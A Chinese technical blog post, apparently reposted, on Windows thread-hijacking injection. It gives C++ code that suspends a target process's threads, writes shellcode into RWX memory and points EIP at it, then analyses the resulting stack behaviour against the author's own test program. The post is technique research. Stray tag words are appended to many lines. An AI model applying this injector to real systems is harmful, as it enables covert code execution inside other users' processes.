http://www.javashuo.com/article/p-pcvynbhr-nd.html 上次分享了經過APC注入方式,讓目標線程運行shellcode。這麼作有個前提條件:目標線程是alertable的,不然注入了也不會當即被執行,直到狀態改成alertable,但筆者暫時沒找到能把目標線程狀態主動改成alertable的辦法,因此只能被動「聽天由命」地等。今天介紹另外一種遠程線程注入的方式:hook 線程;html
先說第一種思路,以下:shell
核心代碼解析以下:windows
一、用於測試的目標進程:這裏寫個死循環,讓其一直運行,方便隨時被注入;安全
#include <windows.h> #include <stdio.h> int main() { printf("dead looping...............\n"); while (TRUE) { } }
注意:本人測試環境:函數
win10 x64爲了確保安全,默認增長了不少防禦,好比控制流防禦CFG,編譯的時候須要手動改爲否,才能讓咱們注入的shellcode順利執行;oop
二、遍歷進程,找到目標進程後再遍歷該進程名下其餘線程:測試
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); HANDLE victimProcess = NULL; PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) }; std::vector<DWORD> threadIds; HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) { //while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) { Process32Next(snapshot, &processEntry); } } victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); if (Thread32First(snapshot, &threadEntry)) { do { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { threadIds.push_back(threadEntry.th32ThreadID); } } while (Thread32Next(snapshot, &threadEntry)); } for (DWORD threadId : threadIds) { threadHandle = OpenThread(THREAD_ALL_ACCESS, NULL, threadId); if (Wow64SuspendThread(threadHandle) == -1) //掛起線程失敗 { continue; } printf("threadId:%d\n", threadId); if (InjectThread(victimProcess, threadHandle,buf, shellcodeSize)) { printf("threadID = %d inject success!", threadId); CloseHandle(victimProcess); CloseHandle(threadHandle); break; } }
三、shellcode代碼注入,思路也簡單:以前已經已經拿到目標進程和目標線程的句柄,而且已經暫定線程,這裏直接GetThreadContext,更改eip爲shellcode地址便可;spa
BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize) { LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (shellAddress == NULL) { printf("VirtualAlloc Error\n"); VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE ); ResumeThread(hThread); return FALSE; } WOW64_CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_ALL; if (!Wow64GetThreadContext(hThread, &ctx)) { int a = GetLastError(); printf("GetThreadContext Error:%d\n", a); VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); ResumeThread(hThread); return FALSE; } DWORD currentEIP = ctx.Eip; if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == 0) { VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); printf("write shellcode error\n"); ResumeThread(hThread); return FALSE; } ctx.Eip = (DWORD)shellAddress;//讓eip指向shellcode if (!Wow64SetThreadContext(hThread, &ctx)) { VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); printf("set thread context error\n"); ResumeThread(hThread); return FALSE; } ResumeThread(hThread); return TRUE; }
效果:彈出了messagebox:線程
也在目標進程的目錄下生成了文件:3d
四、最後作一些總結:
從process hacker看,線程並未改變,仍是以前的那個:
那麼問題來了,shellcode執行完回到主線程後爲啥又執行了打印代碼?仔細想一想,shellcode最後一條有效指令是C3,也就是ret,該指令把棧頂4個字節做爲返回地址賦值給eip;既然dead looping打印了兩次,說明執行shellcode執行前棧頂被壓入了這行代碼的地址,這是誰幹的了?用IDA打開目標進程分析,以下:
好在本身寫的測試進程不復雜,很容易找到答案,分析以下:
(1)因爲cpu執行速度很快,注入shellcode的進程(如下簡稱loader)在執行suspendThread時大機率已經進入while死循環,從上面彙編代碼來看,while循環並未改變堆棧,因此shellcdoe執行完後ret的地址確定不是while循環更改的;
(2)繼續往上倒推:add esp,4 這是進入死循環最後一行改變棧頂的代碼,爲了更直觀說明,我畫了一個堆棧圖,對照代碼以下:
從函數入口點開始,改變堆棧,期間有兩個call和一個push,這3行指令會改變esp;最後執行完add esp,4後,esp從新指向原edi;shellcode最後一行ret執行時,會從堆棧中該值彈出賦值給eip。那麼原edi值又是多少了?用調試器打開測試進程,在main入口斷下,發現edi指向的時EntryPoint,也就是說shellcode最後一個ret指令會跳轉到這裏開始執行;
這裏也能看到棧頂是EntryPoint的地址:
五、 此次注入shellcode雖然說成功,問題也很明顯:
後續會經過其餘方案挨個解決這些問題!